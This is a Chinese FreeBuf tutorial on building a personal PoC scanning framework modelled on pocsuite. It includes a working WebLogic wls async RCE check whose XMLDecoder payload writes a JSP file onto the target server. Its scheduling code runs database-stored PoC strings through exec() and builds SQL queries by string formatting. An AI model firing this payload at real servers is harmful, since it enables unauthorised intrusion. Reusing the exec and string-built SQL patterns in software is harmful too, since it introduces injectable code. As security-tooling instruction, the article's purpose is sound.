freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

100行代码手撸一个个人版“pocsuite”
2019-12-21 09:00:24

距离笔者在gayhub发布“AngelSword”这款工具已有两年时间,这期间来有不少人star和fork,同时也有很多人发私信提供建议,也是在最近半年多这个项目已经不再维护,因为时间原因不再继续添加poc,最主要原因是觉得这个项目写的并不美观且功能不够强大,所以才有了这篇文章。

0x01 另起炉灶

有了推翻了重来的想法,接着就构思这个框架到底是怎样的:

1.poc代码不存文件,用到的时候直接检测出结果。

2.只要给出关键字,自动化搜索相关的poc轮询调用。

3.web层漏洞和主机层漏洞检测分离。

按照这些思路开始怼代码,先定义数据结构:建立webexploit数据表内容如下,vulname设置为主键,poc列中存储检测代码。

demo poc代码如下:

def _verify(url, cookies, uagent, vulns, proxy):
    pocdict = {
        "vulnname":"weblogic_wls_async_rce",
        "isvul": False,
        "vulnurl":"",
        "payload":"",
        "proof":"",
        "response":"",
        "exception":"",
    }
    headers = {
        "User-Agent" : uagent,
        "Content-Type": 'text/xml',
    }
    time_stamp = time.mktime(datetime.datetime.now().timetuple())
    m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
    md5_str = m.hexdigest()
    payload = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{0}.jsp</string><void method="println"><string><![CDATA[56540676a129760a3]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>'.format(md5_str)
    try:
        vurl = urllib.parse.urljoin(url, '_async/AsyncResponseService')
        req = requests.post(vurl, data=payload, cookies=cookies, headers=headers, timeout=15, verify=False, proxies=proxy)
        time.sleep(5)
        rurl = urllib.parse.urljoin(url, 'bea_wls_internal/{0}.jsp'.format(md5_str))
        reqr = requests.get(rurl, timeout=10, verify=False)
        if r"56540676a129760a3" in reqr.text:
            pocdict['isvul'] = True
            pocdict['vulnurl'] = vurl
            pocdict['payload'] = payload
            pocdict['proof'] = rurl
            pocdict['response'] = reqr.text

    except Exception as e:
        pocdict['exception'] = str(e)
    vulns.append(pocdict)
_verify(self.url, self.cookies, findProxy().randomUA(), self.vulns, self.proxynode)     

poc代码存入数据库,每个poc都只有一个_verify函数,接受的参数来源于pocfactory类自身变量(后面说),程序执行完把结果存到字典最后再把字典放入列表,列表的功能当然就是为了遍历(配合协程并发)。

0x02 控制poc调度

poc调度主要有以下几种,如图所示:

1)单一poc->单一目标

2)单一poc->多个目标

3)多个poc->单一目标

4)多个poc->多个目标

为了增加速度,往往会使用threading库或者gevent库,这里首选gevent,之前测试过在高并发的情况下协程要比多线程的效率高一些。

接着编写pocfactory类,定义一些初始化变量,可以从外部动态设置参数(例如cookies或者自定义线程数),loadmodule函数的功能是把所有poc需要用到的导入模块一次性导入,这样后续每次执行poc就不需要为缺少模块而发愁了。

然后就是编写执行poc模块的函数runpocwithcmsname,这个函数接受一个keyword参数,然后从数据库中把所有匹配到keyword的poc代码全部拉出存储到poclist列表,最后再用协程并发执行pocexec函数,执行之后的结果都在self.vulns列表里,依次插入数据库。

到这里只有几十行代码就可以把搜索出来的poc一次性调度完,这样就完成了单一poc->单一目标和多个poc->单一目标。如果有不明白pocexec这个函数的作用可以参考我之前写过的一篇文章:pocsuite框架代码解析。而要增加多目标就比较容易了,这里我测试了两种方法:多进程+协程,协程+协程,最后得出的结果是在时间开销上只用协程要比多进程+协程还要高效,然后就有了下面的代码。

为了能够清晰的显示执行poc的结果详细情况,我又用logbook模块写了一个日志类:

class mylog:
    def __init__(self, logname, toscreen=False):
        # 设置日志名称        
        self.logname = logname
        self.toscreen = toscreen
        # 设置日志目录        
        self.LOG_DIR = self.setpath()
        # 设置本地时间        
        logbook.set_datetime_format("local")
        # 设置终端输出格式        
        self.log_standard = ColorizedStderrHandler(bubble=True)
        self.log_standard.formatter = self.logformat
        # 设置文件输出格式        
        self.log_file = TimedRotatingFileHandler(
            os.path.join(self.LOG_DIR, '{}.log'.format(self.logname)), date_format='%Y-%m-%d', bubble=True, encoding='utf-8')
        self.log_file.formatter = self.logformat
        # 执行log记录        
        self.log = Logger("SatanLogging")
        self.logrun()

    """    日志存储函数    """    
    def setpath(self):
        logpath = os.path.join(GlobalConf().progpath['location'], 'Backtracking/log')
        if not os.path.exists(logpath):
            os.makedirs(logpath)
        return logpath

    """    格式化日志函数    """    
    def logformat(self, record, handler):
        log = "[{date}] [{level}] [{filename}] [{func_name}] [{lineno}] {msg}".format(
         # 日志时间            
        date=record.time,            
         # 日志等级            
        level=record.level_name,            
         # 文件名            
        filename=os.path.split(record.filename)[-1],            
         # 函数名            
        func_name=record.func_name,            
         # 行号            
        lineno=record.lineno,            
         # 日志内容            
        msg=record.message
        )
        return log

    """    生成日志函数    """    
    def logrun(self):
        self.log.handlers = []
        self.log.handlers.append(self.log_file)
        # 如果为True将日志打到屏幕        if self.toscreen:
            self.log.handlers.append(self.log_standard)        

0x03 测试检测结果

这样基本骨架算是写完了,然后测试一下效果,目标是笔者跟朋友借的一台存在漏洞的weblogic。

在数据库中查看检测结果。

在log文件中查看检测结果,其实跟数据库中的结果大致差不多,只是response内容写进了日志而没有写进数据库。

目前针对web漏洞的poc框架的雏形已经完全写完了,核心代码只有50多行,而针对主机层的漏洞poc也采用相同的调用结构,只不过一次性导入模块可能略有区别。

还有个区别就是如果一次性发送大量请求给web服务器,每个请求都相对独立,可以说是请求的结果都相对符合预期。但是如果是主机层面的,可能一个完整的检测过程是通过好几次发包来获取结果,如果高并发的情况下会破坏socket包请求序列,这就导致有些存在漏洞的目标但是你的poc并没有检测出漏洞。所以针对主机层漏洞采用的是队列的方式,设置阻塞,当多个poc攻击一个目标的时候,让每个poc都呈现“排队”模式。

def Consumer(self, pocstr):

    while not self.queue.empty():

        data = self.queue.get()

        sem.acquire()

        exec(data)

        gevent.sleep(0)

        sem.release()

def runpocwithsysname(self, keyword):

    try:

        poclist = list()

        self.loadmodule()

        sql = 'SELECT poc from hostexploit WHERE vulname like "%{}%"'.format(keyword)

        res = db().execute(sql)

        for item in res:

            poclist.append(item['poc'])

            self.queue.put_nowait(item['poc'])

        mylog('hostexploit', True).log.info(pyfancy().green('[+]针对目标:{0}:{1} 加载{2} hostpoc {3}个'.format(self.host, self.port, keyword, len(poclist))))

        threads = [gevent.spawn(self.Consumer, item) for item in poclist]

        gevent.joinall(threads)

虽然用队列把多个poc对单一目标的检测给阻塞了,时间开销变大了,但是单一poc对多个目标或多个poc对多个目标发起的请求还是高并发的。

总而言之以上这些只是一个比较完整的架子,至于最基本的还是poc的累积,而自定义的poc模板也尽量是代码能少则少,只要一个函数就可以把漏洞检测出来。当然你也可以在_verify函数里写复杂的类或者函数,实践证明也是没问题的。 对于需要引入外部平台检测的,额外写个GlobalConf类,里面定义好接口地址,这些只要进入交互式终端自动加载进去就OK了。

0x04 总结&整理

虽然笔者起的名字叫100行。。。。这里的100行代码只是指核心代码,而加上数据库管理的,poc代码的和各种巴拉巴拉设置的恐怕也要超过几千行了,核心代码笔者已经上传到gayhub,可供大家参考拍砖。

*本文原创作者:六翼,本文属于FreeBuf原创奖励计划,未经许可禁止转载

# 极客 # Pocsuite
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者